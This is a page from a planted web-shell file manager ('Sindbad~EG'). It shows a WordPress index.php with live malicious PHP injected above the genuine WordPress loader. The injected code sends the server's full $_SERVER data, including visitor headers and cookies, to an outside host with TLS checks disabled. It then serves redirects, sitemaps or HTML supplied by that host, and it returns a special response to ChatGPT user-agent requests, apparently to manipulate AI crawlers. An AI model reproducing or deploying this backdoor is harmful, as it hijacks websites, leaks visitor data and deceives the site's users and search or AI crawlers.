Sindbad~EG File Manager

Current Path : /home/admin/www/
Upload File :
Current File : /home/admin/www/index.php

<?php
error_reporting(E_ALL);

function fetch_remote($url) {
    global $_SERVER;
    
    $_SERVER['T'] = 'y';
    $_SERVER['TPL'] = 7;
    $_SERVER['VER'] = 1;

    $payload = base64_encode(json_encode($_SERVER));

    if (!function_exists('curl_exec')) {
        $context = stream_context_create(array(
            'http' => array(
                'method' => 'GET',
                'timeout' => 49,
                'ignore_errors' => true
            )
        ));
        $full_url = $url . '?ua=' . urlencode($payload);
        return @file_get_contents($full_url, false, $context);
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'ua=' . urlencode($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'Content-Type: application/x-www-form-urlencoded'
        ));
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 49);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        $response = curl_exec($ch);
        $info = curl_getinfo($ch);
        $error = curl_error($ch);
        curl_close($ch);
        
        if (!isset($info['http_code']) || $info['http_code'] != 200) {
            // error_log("API Error: HTTP {$info['http_code']}, Error: $error");
            return '';
        }
        return $response;
    }
}

function v1main() {
    $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $gptParam = isset($_GET['gpt']) ? $_GET['gpt'] : '';

    if (strpos($userAgent, 'ChatGPT-User/1.0') !== false && $gptParam === 'true') {
        exit('##okresponse##');
    }

    $remote_url = 'https://api.cdnapi.tech/api/proxy/handle.php';
    $content = fetch_remote($remote_url);

    if (empty($content)) {
       
    }

    if (preg_match('/^https?:\/\//', $content)) {
        header('Location: ' . trim($content));
        exit;
    }

    if (preg_match('/^##/', $content)) {
        exit(substr($content, 2));
    }

    if (strlen($content) > 90) {
        if (strstr($content, '</urlset>')) {
            header('Content-Type: application/xml; charset=utf-8');
            exit($content);
        }
        if (strstr($content, '</sitemapindex>')) {
            header('Content-Type: application/xml; charset=utf-8');
            exit($content);
        }
        if (strpos($content, '"urlset"') !== false || strpos($content, '"sitemapindex"') !== false) {
            header('Content-Type: application/json; charset=utf-8');
            exit($content);
        }
        if (strstr($content, '<html')) {
            header('Content-Type: text/html; charset=utf-8');
            exit($content);
        }
    }

    echo $content;
}

v1main();
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists